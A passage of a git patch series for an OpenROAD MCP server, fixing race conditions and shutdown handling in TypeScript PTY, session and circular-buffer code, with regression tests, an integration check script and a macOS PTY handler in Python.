b/typescript/src/interactive/pty_handler.ts index 857498c..1709448 100644 --- a/typescript/src/interactive/pty_handler.ts +++ b/typescript/src/interactive/pty_handler.ts @@ -10,7 +10,7 @@ export class PtyHandler { private _alive = false; private _dataDisposable: IDisposable | null = null; private _exitDisposable: IDisposable | null = null; - private _exitResolvers: Array<(code: number) => void> = []; + private _exitResolvers: Array<(code: number | null) => void> = []; private _exitCode: number | null = null; constructor(private readonly _settings: Settings = defaultSettings) {} @@ -66,7 +66,9 @@ export class PtyHandler { this.validateCommand(command); const processEnv: Record = { - ...(process.env as Record), + ...Object.fromEntries( + Object.entries(process.env).filter((e): e is [string, string] => e[1] !== undefined), + ), ...env, TERM: "xterm-256color", COLUMNS: "80", @@ -123,7 +125,7 @@ export class PtyHandler { return new Promise((resolve) => { let settled = false; - const onExit = (code: number): void => { + const onExit = (code: number | null): void => { if (settled) return; settled = true; if (timer !== null) clearTimeout(timer); @@ -181,11 +183,13 @@ export class PtyHandler { try { this._dataDisposable?.dispose(); } catch { /* ignored */ } try { this._exitDisposable?.dispose(); } catch { /* ignored */ } + const pending = this._exitResolvers.splice(0); + for (const resolve of pending) resolve(this._exitCode); + this._ptyProcess = null; this._alive = false; this._dataDisposable = null; this._exitDisposable = null; - this._exitResolvers = []; this._exitCode = null; } } From fed1d4e01e0fb35d26b0541b663e718fa5799c0c Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 22:02:29 -0600 Subject: [PATCH 14/43] guard read chunk size against zero in session onData handler --- typescript/src/interactive/session.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/typescript/src/interactive/session.ts b/typescript/src/interactive/session.ts index e13bcba..0f70d64 100644 --- a/typescript/src/interactive/session.ts +++ b/typescript/src/interactive/session.ts @@ -94,7 +94,7 @@ export class InteractiveSession { // node-pty delivers data in push-based bursts with no size limit. // Slicing large deliveries keeps individual buffer chunks small so the // circular buffer's eviction logic bounds memory correctly. - const chunkSize = this._settings.READ_CHUNK_SIZE; + const chunkSize = Math.max(1, this._settings.READ_CHUNK_SIZE); if (data.length <= chunkSize) { void this.outputBuffer.append(data); } else { From 15871aa3c7d05ed2b9375d6edf8fd28a13c2807d Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 22:02:33 -0600 Subject: [PATCH 15/43] add test for cleanup resolving pending waitForExit waiters --- .../__tests__/interactive/pty_handler.test.ts | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/typescript/__tests__/interactive/pty_handler.test.ts b/typescript/__tests__/interactive/pty_handler.test.ts index ea072f1..ca2b6a8 100644 --- a/typescript/__tests__/interactive/pty_handler.test.ts +++ b/typescript/__tests__/interactive/pty_handler.test.ts @@ -198,6 +198,19 @@ describe("PtyHandler", () => { expect(r1).toBe(42); expect(r2).toBe(42); }); + + it("cleanup() resolves pending waitForExit with null when process never exited", async () => { + await handler.createSession(["echo"]); + + // Stub terminateProcess so cleanup() doesn't block for 5 s internally + vi.spyOn(handler, "terminateProcess").mockResolvedValue(undefined); + + const waiter = handler.waitForExit(10000); + await handler.cleanup(); + + const result = await waiter; + expect(result).toBeNull(); + }); }); describe("terminateProcess", () => { From 40f64c8645274de720baf892bdc1c9426d3666f3 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 22:02:37 -0600 Subject: [PATCH 16/43] add real openroad repl integration check script --- typescript/scripts/integration_check.ts | 119 ++++++++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 typescript/scripts/integration_check.ts diff --git a/typescript/scripts/integration_check.ts b/typescript/scripts/integration_check.ts new file mode 100644 index 0000000..ce61330 --- /dev/null +++ b/typescript/scripts/integration_check.ts @@ -0,0 +1,119 @@ +/** + * Real OpenROAD REPL integration check. + * Run with: npx tsx scripts/integration_check.ts + */ + +import { InteractiveSession } from "../src/interactive/session.js"; +import { Settings } from "../src/config/settings.js"; + +const PASS = "✓"; +const FAIL = "✗"; +const results: { label: string; ok: boolean; detail?: string }[] = []; + +function check(label: string, ok: boolean, detail?: string) { + results.push({ label, ok, detail }); + console.log(` ${ok ? PASS : FAIL} ${label}${detail ? ` → ${detail}` : ""}`); +} + +async function waitForPrompt(session: InteractiveSession, timeoutMs = 5000): Promise { + const deadline = Date.now() + timeoutMs; + let accumulated = ""; + while (Date.now() < deadline) { + const result = await session.readOutput(500); + accumulated += result.output; + if (accumulated.includes("openroad>") || accumulated.includes("%")) break; + } + return accumulated; +} + +async function run() { + console.log("\nOpenROAD REPL integration check\n"); + + const settings = new Settings({ ENABLE_COMMAND_VALIDATION: false }); + const session = new InteractiveSession("integration-check", 256 * 1024, settings); + + // ── 1. Spawn ──────────────────────────────────────────────────────────────── + console.log("1. Session lifecycle"); + try { + await session.start(["openroad", "-no_init"]); + check("start() succeeds", true); + check("state is ACTIVE after start", session.state === "active", session.state); + check("isAlive() returns true", session.isAlive()); + check("writer task running", session.isRunning()); + } catch (e) { + check("start() succeeds", false, String(e)); + process.exit(1); + } + + // ── 2. Initial prompt ─────────────────────────────────────────────────────── + console.log("\n2. Initial prompt"); + const banner = await waitForPrompt(session, 6000); + check("received output after spawn", banner.length > 0, `${banner.length} chars`); + check( + "OpenROAD banner present", + banner.includes("OpenROAD") || banner.includes("openroad"), + banner.slice(0, 80).replace(/\n/g, " "), + ); + + // ── 3. puts echo ──────────────────────────────────────────────────────────── + console.log("\n3. Command round-trip"); + await session.sendCommand('puts "hello_integration"'); + const echoResult = await session.readOutput(3000); + check("sendCommand does not throw", true); + check( + "output contains echo", + echoResult.output.includes("hello_integration"), + echoResult.output.replace(/\n/g, " ").slice(0, 100), + ); + check("commandCount incremented", session.commandCount >= 1, String(session.commandCount)); + + // ── 4. Error detection ────────────────────────────────────────────────────── + console.log("\n4. Error detection"); + await session.sendCommand("nonexistent_command_xyz"); + const errResult = await session.readOutput(3000); + check( + "error field populated for bad command", + errResult.error !== null, + errResult.error ?? "(null)", + ); + + // ── 5. Multiple commands ──────────────────────────────────────────────────── + console.log("\n5. Multiple sequential commands"); + const before = session.commandCount; + await session.sendCommand('puts "cmd1"'); + await session.readOutput(1000); + await session.sendCommand('puts "cmd2"'); + await session.readOutput(1000); + check("commandCount advances correctly", session.commandCount === before + 2, String(session.commandCount)); + + // ── 6. Buffer ─────────────────────────────────────────────────────────────── + console.log("\n6. Output buffer"); + const stats = await session.outputBuffer.getStats(); + check("buffer maxSize is set", stats.maxSize > 0, `${stats.maxSize} chars`); + + // ── 7. Graceful termination ───────────────────────────────────────────────── + console.log("\n7. Termination"); + await session.sendCommand("exit"); + await new Promise((r) => setTimeout(r, 500)); + await session.cleanup(); + check("cleanup() does not throw", true); + check("state is TERMINATED after cleanup", session.state === "terminated", session.state); + check("isAlive() returns false after cleanup", !session.isAlive()); + + // ── Summary ───────────────────────────────────────────────────────────────── + const passed = results.filter((r) => r.ok).length; + const total = results.length; + console.log(`\n${"─".repeat(48)}`); + console.log(` ${passed}/${total} checks passed`); + if (passed < total) { + console.log(`\n Failed:`); + results.filter((r) => !r.ok).forEach((r) => console.log(` ${FAIL} ${r.label}`)); + process.exit(1); + } + console.log(); +} + +run().catch((e) => { + console.error("\nUnexpected error:", e); + process.exit(1); +}); From e88e49edf7c26a291100265406dddfe724aa447d Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 22:03:47 -0600 Subject: [PATCH 17/43] code cleanup --- plan.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 plan.md diff --git a/plan.md b/plan.md deleted file mode 100644 index e69de29..0000000 From dd62da5e3b56888484c1fb707465e3562e7f6d64 Mon Sep 17 00:00:00 2001 From: Kartik Mittal <100078751+kartikloops@users.noreply.github.com> Date: Thu, 11 Jun 2026 22:09:20 -0600 Subject: [PATCH 18/43] Potential fix for pull request finding Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> Signed-off-by: Kartik Mittal <100078751+kartikloops@users.noreply.github.com> --- typescript/src/interactive/buffer.ts | 32 +++++++++++++++++----------- 1 file changed, 20 insertions(+), 12 deletions(-) diff --git a/typescript/src/interactive/buffer.ts b/typescript/src/interactive/buffer.ts index 19981ba..cbe7b2e 100644 --- a/typescript/src/interactive/buffer.ts +++ b/typescript/src/interactive/buffer.ts @@ -67,27 +67,35 @@ export class CircularBuffer { } async waitForData(timeoutMs: number): Promise { - if (this._dataAvailable) return true; - return new Promise((resolve) => { let settled = false; - - const timer = setTimeout(() => { - if (settled) return; - settled = true; - const idx = this._resolvers.indexOf(wakeUp); - if (idx !== -1) this._resolvers.splice(idx, 1); - resolve(false); - }, timeoutMs); + let timer: ReturnType | null = null; const wakeUp = (): void => { if (settled) return; settled = true; - clearTimeout(timer); + if (timer !== null) clearTimeout(timer); resolve(true); }; - this._resolvers.push(wakeUp); + void this._mutex.runExclusive(() => { + if (this._dataAvailable) { + wakeUp(); + return; + } + + this._resolvers.push(wakeUp); + + timer = setTimeout(() => { + if (settled) return; + settled = true; + void this._mutex.runExclusive(() => { + const idx = this._resolvers.indexOf(wakeUp); + if (idx !== -1) this._resolvers.splice(idx, 1); + }); + resolve(false); + }, timeoutMs); + }); }); } From 0f64b955ee8346354517dd243cbb33bd063a1a38 Mon Sep 17 00:00:00 2001 From: Kartik Mittal <100078751+kartikloops@users.noreply.github.com> Date: Thu, 11 Jun 2026 22:15:46 -0600 Subject: [PATCH 19/43] added case for READ_CHUNK_SIZE is larger than limit Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> Signed-off-by: Kartik Mittal <100078751+kartikloops@users.noreply.github.com> --- typescript/src/interactive/session.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/typescript/src/interactive/session.ts b/typescript/src/interactive/session.ts index 0f70d64..7b7bc0d 100644 --- a/typescript/src/interactive/session.ts +++ b/typescript/src/interactive/session.ts @@ -94,7 +94,7 @@ export class InteractiveSession { // node-pty delivers data in push-based bursts with no size limit. // Slicing large deliveries keeps individual buffer chunks small so the // circular buffer's eviction logic bounds memory correctly. - const chunkSize = Math.max(1, this._settings.READ_CHUNK_SIZE); + const chunkSize = Math.max(1, Math.min(this._settings.READ_CHUNK_SIZE, this.outputBuffer.maxSize)); if (data.length <= chunkSize) { void this.outputBuffer.append(data); } else { From c9b578e0641ddacd2476ff42e5c76d74827642a4 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 09:44:21 -0600 Subject: [PATCH 20/43] fix isAlive signaling shutdown when process death is detected --- typescript/src/interactive/session.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/typescript/src/interactive/session.ts b/typescript/src/interactive/session.ts index 7b7bc0d..350d82d 100644 --- a/typescript/src/interactive/session.ts +++ b/typescript/src/interactive/session.ts @@ -64,6 +64,7 @@ export class InteractiveSession { const processAlive = this.pty.isProcessAlive(); if (!processAlive && this._state === SessionState.ACTIVE) { this._state = SessionState.TERMINATED; + this._signalShutdown(); return false; } From f5e3e226032984d2e66657c60db6b157a0994549 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 09:44:48 -0600 Subject: [PATCH 21/43] add test for isAlive shutdown signal on process death --- typescript/__tests__/interactive/session.test.ts | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/typescript/__tests__/interactive/session.test.ts b/typescript/__tests__/interactive/session.test.ts index ea6690d..cb1ca05 100644 --- a/typescript/__tests__/interactive/session.test.ts +++ b/typescript/__tests__/interactive/session.test.ts @@ -255,6 +255,19 @@ describe("InteractiveSession", () => { expect(session.state).toBe(SessionState.TERMINATED); }); + it("calls _signalShutdown when process death is detected so writer task stops", async () => { + await session.start(["echo"]); + expect(session.isRunning()).toBe(true); + + (mockPty.isProcessAlive as ReturnType).mockReturnValue(false); + + // getInfo() is the read-only health-check path described in the bug report + await session.getInfo(); + + expect(session.state).toBe(SessionState.TERMINATED); + expect(session.isRunning()).toBe(false); + }); + it("returns true in ACTIVE state with live process", () => { session.state = SessionState.ACTIVE; (mockPty.isProcessAlive as ReturnType).mockReturnValue(true); From 5e41beae6a77346148ade0dda7a3c9adffe19550 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 09:46:47 -0600 Subject: [PATCH 22/43] fix force terminate returning before alive flag clears --- typescript/src/interactive/pty_handler.ts | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/typescript/src/interactive/pty_handler.ts b/typescript/src/interactive/pty_handler.ts index 1709448..e24fea2 100644 --- a/typescript/src/interactive/pty_handler.ts +++ b/typescript/src/interactive/pty_handler.ts @@ -151,12 +151,7 @@ export class PtyHandler { if (!this._ptyProcess || !this._alive) return; try { - if (force) { - this._ptyProcess.kill("SIGKILL"); - return; - } - - this._ptyProcess.kill("SIGTERM"); + this._ptyProcess.kill(force ? "SIGKILL" : "SIGTERM"); } catch { return; } From 9f6862eec196c19981036edcd87586a7d8e30692 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 09:47:21 -0600 Subject: [PATCH 23/43] update tests for force terminate waiting for exit --- .../__tests__/interactive/pty_handler.test.ts | 20 ++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/typescript/__tests__/interactive/pty_handler.test.ts b/typescript/__tests__/interactive/pty_handler.test.ts index ca2b6a8..87ef518 100644 --- a/typescript/__tests__/interactive/pty_handler.test.ts +++ b/typescript/__tests__/interactive/pty_handler.test.ts @@ -225,11 +225,29 @@ describe("PtyHandler", () => { expect(mockPty.kill).not.toHaveBeenCalled(); }); - it("sends SIGKILL immediately when force=true", async () => { + it("sends SIGKILL and waits for exit when force=true", async () => { await handler.createSession(["echo"]); + + setTimeout(() => mockPty._exit(137), 5); await handler.terminateProcess(true); + expect(mockPty.kill).toHaveBeenCalledWith("SIGKILL"); expect(mockPty.kill).not.toHaveBeenCalledWith("SIGTERM"); + expect(handler.isProcessAlive()).toBe(false); + }); + + it("cleanup after force terminate does not resend SIGTERM (no 5-second hang)", async () => { + await handler.createSession(["echo"]); + + // force=true: SIGKILL sent, process exits, _alive=false before terminateProcess returns + setTimeout(() => mockPty._exit(137), 5); + await handler.terminateProcess(true); + + // cleanup() must see _alive=false and skip terminateProcess entirely + await handler.cleanup(); + + expect(mockPty.kill).toHaveBeenCalledTimes(1); + expect(mockPty.kill).toHaveBeenCalledWith("SIGKILL"); }); it("sends SIGTERM for graceful shutdown when force=false", async () => { From d9ffce4588d58d64b26faf5b7c5d55f15e7430dd Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 09:51:42 -0600 Subject: [PATCH 24/43] fix terminate not disposing pty listeners and pending waiters --- typescript/src/interactive/session.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/typescript/src/interactive/session.ts b/typescript/src/interactive/session.ts index 350d82d..15ee1fd 100644 --- a/typescript/src/interactive/session.ts +++ b/typescript/src/interactive/session.ts @@ -226,6 +226,7 @@ export class InteractiveSession { this._signalShutdown(); await this.pty.terminateProcess(force); + await this.pty.cleanup(); if (this._writerTask !== null) { await this._writerTask; From e9bd5cf9f8d6a31eb9ea7b1c11ca0be0f61e6330 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 09:51:48 -0600 Subject: [PATCH 25/43] update terminate tests to assert pty cleanup is called --- .../__tests__/interactive/session.test.ts | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/typescript/__tests__/interactive/session.test.ts b/typescript/__tests__/interactive/session.test.ts index cb1ca05..e351d23 100644 --- a/typescript/__tests__/interactive/session.test.ts +++ b/typescript/__tests__/interactive/session.test.ts @@ -283,13 +283,14 @@ describe("InteractiveSession", () => { }); describe("terminate", () => { - it("sets state to TERMINATED and calls pty.terminateProcess", async () => { + it("sets state to TERMINATED and calls pty.terminateProcess then pty.cleanup", async () => { session.state = SessionState.ACTIVE; await session.terminate(false); expect(session.state).toBe(SessionState.TERMINATED); expect(mockPty.terminateProcess).toHaveBeenCalledWith(false); + expect(mockPty.cleanup).toHaveBeenCalledOnce(); }); it("passes force=true through to pty.terminateProcess", async () => { @@ -298,12 +299,26 @@ describe("InteractiveSession", () => { await session.terminate(true); expect(mockPty.terminateProcess).toHaveBeenCalledWith(true); + expect(mockPty.cleanup).toHaveBeenCalledOnce(); }); it("is a no-op when already terminated", async () => { session.state = SessionState.TERMINATED; await session.terminate(); expect(mockPty.terminateProcess).not.toHaveBeenCalled(); + expect(mockPty.cleanup).not.toHaveBeenCalled(); + }); + + it("calls pty.cleanup() so listeners and pending resolvers are disposed without a subsequent session.cleanup()", async () => { + session.state = SessionState.ACTIVE; + + // terminate() without any follow-up cleanup() call + await session.terminate(false); + + // pty.cleanup() must have been called to dispose _dataDisposable, + // _exitDisposable, and drain _exitResolvers — otherwise post-kill + // data bursts keep appending and waitForExit() callers hang forever + expect(mockPty.cleanup).toHaveBeenCalledOnce(); }); }); From 7f6969dd72309948cbee10d1b7bb29dec10482c1 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 09:54:54 -0600 Subject: [PATCH 26/43] fix clear not waking pending waitForData callers --- typescript/src/interactive/buffer.ts | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/typescript/src/interactive/buffer.ts b/typescript/src/interactive/buffer.ts index cbe7b2e..f221816 100644 --- a/typescript/src/interactive/buffer.ts +++ b/typescript/src/interactive/buffer.ts @@ -8,7 +8,7 @@ export class CircularBuffer { private _totalSize = 0; private readonly _mutex = new Mutex(); private _dataAvailable = false; - private _resolvers: Array<() => void> = []; + private _resolvers: Array<(available: boolean) => void> = []; constructor(maxSize: number = DEFAULT_MAX_SIZE) { this.maxSize = maxSize; @@ -39,7 +39,7 @@ export class CircularBuffer { this._dataAvailable = true; const pending = this._resolvers.splice(0); - for (const resolve of pending) resolve(); + for (const resolve of pending) resolve(true); } finally { release(); } @@ -71,16 +71,16 @@ export class CircularBuffer { let settled = false; let timer: ReturnType | null = null; - const wakeUp = (): void => { + const wakeUp = (available: boolean): void => { if (settled) return; settled = true; - if (timer !== null) clearTimeout(timer); - resolve(true); + clearTimeout(timer); + resolve(available); }; void this._mutex.runExclusive(() => { if (this._dataAvailable) { - wakeUp(); + wakeUp(true); return; } @@ -105,6 +105,8 @@ export class CircularBuffer { this._chunks.splice(0); this._totalSize = 0; this._dataAvailable = false; + const pending = this._resolvers.splice(0); + for (const resolve of pending) resolve(false); } finally { release(); } From f86aecd6bf2a7dc8acd752368670bc514a265f2f Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 09:55:19 -0600 Subject: [PATCH 27/43] add regression test for clear waking pending waitForData callers --- typescript/__tests__/interactive/buffer.test.ts | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/typescript/__tests__/interactive/buffer.test.ts b/typescript/__tests__/interactive/buffer.test.ts index 2a6add7..57d1933 100644 --- a/typescript/__tests__/interactive/buffer.test.ts +++ b/typescript/__tests__/interactive/buffer.test.ts @@ -146,6 +146,17 @@ describe("CircularBuffer", () => { expect(buf.size).toBe(0); expect(buf.chunkCount).toBe(0); }); + + it("wakes pending waitForData() immediately with false so callers do not hang", async () => { + const buf = new CircularBuffer(100); + + // waitForData with a large timeout — clear() must unblock it before the timeout fires + const waiter = buf.waitForData(5000); + await buf.clear(); + + const result = await waiter; + expect(result).toBe(false); + }); }); describe("getStats", () => { From 68f96c79945daed187d9f6b93915d2325b554175 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:04:54 -0600 Subject: [PATCH 28/43] signal shutdown in readOutput drain path so writer task does not loop indefinitely --- typescript/src/interactive/session.ts | 3 +++ 1 file changed, 3 insertions(+) diff --git a/typescript/src/interactive/session.ts b/typescript/src/interactive/session.ts index 15ee1fd..4fd41d7 100644 --- a/typescript/src/interactive/session.ts +++ b/typescript/src/interactive/session.ts @@ -151,6 +151,9 @@ export class InteractiveSession { // next await boundary. Node.js drains all microtasks before firing // onExit, so any preceding onData appends are already in the buffer. // Return whatever is buffered rather than discarding it. + // Also signal shutdown here so the writer task is guaranteed to stop + // even when readOutput() is the first caller to observe the dead state. + this._signalShutdown(); const chunks = await this.outputBuffer.drainAll(); if (chunks.length === 0) { throw new SessionTerminatedError(`Session ${this.sessionId} is not active`, this.sessionId); From 527b225a0cebd4008edbfba8e15bda4c3ecbaa4b Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:05:37 -0600 Subject: [PATCH 29/43] add regression test for readOutput signaling shutdown on dead session --- typescript/__tests__/interactive/session.test.ts | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/typescript/__tests__/interactive/session.test.ts b/typescript/__tests__/interactive/session.test.ts index e351d23..3e55ef3 100644 --- a/typescript/__tests__/interactive/session.test.ts +++ b/typescript/__tests__/interactive/session.test.ts @@ -224,6 +224,20 @@ describe("InteractiveSession", () => { expect(session.outputBuffer.size).toBe(0); }); + it("signals shutdown when readOutput detects terminated session so writer task does not loop indefinitely", async () => { + // Spy on the private method to verify readOutput() calls it directly. + // Scenario: _state was flipped to TERMINATED externally (e.g. via the setter) + // without calling _signalShutdown() — the exact gap @luarss identified. + const signalShutdown = vi.spyOn(session as unknown as { _signalShutdown: () => void }, "_signalShutdown"); + + session.state = SessionState.TERMINATED; + await session.outputBuffer.append("last output"); + + await session.readOutput(100); + + expect(signalShutdown).toHaveBeenCalled(); + }); + it("throws SessionTerminatedError when session is terminated AND buffer is empty", async () => { session.state = SessionState.TERMINATED; await expect(session.readOutput()).rejects.toThrow(SessionTerminatedError); From 2856095b213803b683d40154752cab6d0d6d7f23 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:10:58 -0600 Subject: [PATCH 30/43] fix waitForData not re-checking dataAvailable under mutex after runExclusive --- typescript/src/interactive/buffer.ts | 38 +++++++++++++++++----------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/typescript/src/interactive/buffer.ts b/typescript/src/interactive/buffer.ts index f221816..fbf2571 100644 --- a/typescript/src/interactive/buffer.ts +++ b/typescript/src/interactive/buffer.ts @@ -67,9 +67,18 @@ export class CircularBuffer { } async waitForData(timeoutMs: number): Promise { - return new Promise((resolve) => { + if (this._dataAvailable) return true; + + return new Promise((resolve, reject) => { let settled = false; - let timer: ReturnType | null = null; + + const timer = setTimeout(() => { + if (settled) return; + settled = true; + const idx = this._resolvers.indexOf(wakeUp); + if (idx !== -1) this._resolvers.splice(idx, 1); + resolve(false); + }, timeoutMs); const wakeUp = (available: boolean): void => { if (settled) return; @@ -78,23 +87,22 @@ export class CircularBuffer { resolve(available); }; - void this._mutex.runExclusive(() => { + // Re-check _dataAvailable under the mutex: runExclusive is async, so + // append() can fire between the fast-path check above and the push below, + // set _dataAvailable = true, drain an empty _resolvers, and release — + // leaving wakeUp unnoticed and the caller waiting the full timeout. + this._mutex.runExclusive(() => { if (this._dataAvailable) { wakeUp(true); - return; + } else { + this._resolvers.push(wakeUp); } - - this._resolvers.push(wakeUp); - - timer = setTimeout(() => { - if (settled) return; + }).catch((err: unknown) => { + if (!settled) { settled = true; - void this._mutex.runExclusive(() => { - const idx = this._resolvers.indexOf(wakeUp); - if (idx !== -1) this._resolvers.splice(idx, 1); - }); - resolve(false); - }, timeoutMs); + clearTimeout(timer); + reject(err instanceof Error ? err : new Error(String(err))); + } }); }); } From ac2735d986359e9fb96fe4c7c3edf68bef453d27 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:11:04 -0600 Subject: [PATCH 31/43] add regression test for waitForData race between fast-path check and mutex --- typescript/__tests__/interactive/buffer.test.ts | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/typescript/__tests__/interactive/buffer.test.ts b/typescript/__tests__/interactive/buffer.test.ts index 57d1933..d00eb06 100644 --- a/typescript/__tests__/interactive/buffer.test.ts +++ b/typescript/__tests__/interactive/buffer.test.ts @@ -134,6 +134,22 @@ describe("CircularBuffer", () => { expect(result).toBe(true); await addTask; }); + + it("returns true when append fires between fast-path check and runExclusive callback (re-check prevents missed wakeup)", async () => { + const buf = new CircularBuffer(100); + + // Start waitForData (fast-path sees _dataAvailable = false and enters the Promise) + const waiter = buf.waitForData(5000); + + // append() fires here — before runExclusive's callback has a chance to push + // wakeUp into _resolvers. Without the re-check inside runExclusive, wakeUp + // would be pushed after append() already drained an empty _resolvers, and + // the caller would wait the full 5-second timeout. + await buf.append("raced data"); + + const result = await waiter; + expect(result).toBe(true); + }); }); describe("clear", () => { From 164ff9b03199fe2be1c8ddf6b5aba3cdb8c616dd Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:13:19 -0600 Subject: [PATCH 32/43] handle append rejection in onData handler to avoid silent data loss --- typescript/src/interactive/session.ts | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/typescript/src/interactive/session.ts b/typescript/src/interactive/session.ts index 4fd41d7..9dd4462 100644 --- a/typescript/src/interactive/session.ts +++ b/typescript/src/interactive/session.ts @@ -95,12 +95,20 @@ export class InteractiveSession { // node-pty delivers data in push-based bursts with no size limit. // Slicing large deliveries keeps individual buffer chunks small so the // circular buffer's eviction logic bounds memory correctly. + const appendChunk = (chunk: string): void => { + this.outputBuffer.append(chunk).catch(() => { + if (this._state === SessionState.ACTIVE) { + this._state = SessionState.TERMINATED; + } + this._signalShutdown(); + }); + }; const chunkSize = Math.max(1, Math.min(this._settings.READ_CHUNK_SIZE, this.outputBuffer.maxSize)); if (data.length <= chunkSize) { - void this.outputBuffer.append(data); + appendChunk(data); } else { for (let i = 0; i < data.length; i += chunkSize) { - void this.outputBuffer.append(data.slice(i, i + chunkSize)); + appendChunk(data.slice(i, i + chunkSize)); } } }, From cfc55d3298777d8c535d313046493b27e22bd670 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:14:11 -0600 Subject: [PATCH 33/43] add regression test for append rejection transitioning session to terminated --- typescript/__tests__/interactive/session.test.ts | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/typescript/__tests__/interactive/session.test.ts b/typescript/__tests__/interactive/session.test.ts index 3e55ef3..504b56b 100644 --- a/typescript/__tests__/interactive/session.test.ts +++ b/typescript/__tests__/interactive/session.test.ts @@ -424,6 +424,21 @@ describe("InteractiveSession", () => { expect(session.state).toBe(SessionState.TERMINATED); }); + it("transitions to TERMINATED and signals shutdown when append() rejects in onData handler", async () => { + await session.start(["echo"]); + expect(session.state).toBe(SessionState.ACTIVE); + + vi.spyOn(session.outputBuffer, "append").mockRejectedValue(new Error("mutex corrupted")); + + capturedOnData?.("burst"); + + // Give the rejected promise's .catch() a tick to run + await new Promise((r) => setTimeout(r, 5)); + + expect(session.state).toBe(SessionState.TERMINATED); + expect(session.isAlive()).toBe(false); + }); + it("onData data exactly at READ_CHUNK_SIZE is a single append, not sliced", async () => { const exactChunkSession = new InteractiveSession( "exact-chunk", From a7615f358ccc0d82844db1d0099be07a5b7d6f65 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Sat, 13 Jun 2026 10:25:48 -0600 Subject: [PATCH 34/43] move MacOSPTYHandler to production and add create_pty_handler factory --- src/openroad_mcp/interactive/pty_handler.py | 98 +++++++++++++++++++++ 1 file changed, 98 insertions(+) diff --git a/src/openroad_mcp/interactive/pty_handler.py b/src/openroad_mcp/interactive/pty_handler.py index e72c509..7f0952d 100644 --- a/src/openroad_mcp/interactive/pty_handler.py +++ b/src/openroad_mcp/interactive/pty_handler.py @@ -5,6 +5,7 @@ import fcntl import os import pty +import sys import termios from ..config.constants import LARGE_IO_THRESHOLD @@ -285,3 +286,100 @@ async def cleanup(self) -> None: self._original_attrs = None logger.debug("PTY handler cleanup completed") + + +class MacOSPTYHandler(PTYHandler): + """PTYHandler subclass for macOS. + + Two macOS-specific problems combine to lose output from fast-exiting processes: + + 1. Buffer discard: when all slave-fd holders close, macOS discards the PTY + master's read buffer. Fix: dup the slave fd as a keepalive before the parent + closes it (via _before_slave_close) so the buffer survives child exit. + + 2. tcdrain deadlock: bash -c flushes stdout via tcdrain() before exiting. + tcdrain() blocks until the master fd is drained by the parent, but + wait_for_exit() only calls process.wait() without reading — deadlocking. + Fix: _drain_loop task continuously reads from master_fd so tcdrain() + always completes and bash exits normally. + """ + + def __init__(self) -> None: + super().__init__() + self._output_buffer: bytearray = bytearray() + self._slave_keepalive_fd: int | None = None + self._reader_task: asyncio.Task | None = None + + async def create_session(self, *args, **kwargs) -> None: + self._output_buffer.clear() + await self._stop_reader() + if self._slave_keepalive_fd is not None: + try: + os.close(self._slave_keepalive_fd) + except OSError: + pass + self._slave_keepalive_fd = None + await super().create_session(*args, **kwargs) + self._reader_task = asyncio.create_task(self._drain_loop()) + + def _before_slave_close(self, slave_fd: int) -> None: + # Dup before the parent closes so macOS never sees "no slave holders", + # preventing premature master buffer discard on child exit. + try: + self._slave_keepalive_fd = os.dup(slave_fd) + except OSError: + pass + + async def _drain_loop(self) -> None: + while self.master_fd is not None: + try: + data = os.read(self.master_fd, 65536) + if data: + self._output_buffer.extend(data) + else: + break + except BlockingIOError: + await asyncio.sleep(0.001) + except OSError: + break + + async def _stop_reader(self) -> None: + if self._reader_task is not None: + self._reader_task.cancel() + try: + await self._reader_task + except asyncio.CancelledError: + pass + self._reader_task = None + + async def wait_for_exit(self, timeout: float | None = None) -> int | None: + result = await super().wait_for_exit(timeout=timeout) + if result is not None: + # Yield to _drain_loop so it can collect any output committed to the + # master buffer in the final moments before the process exited. + await 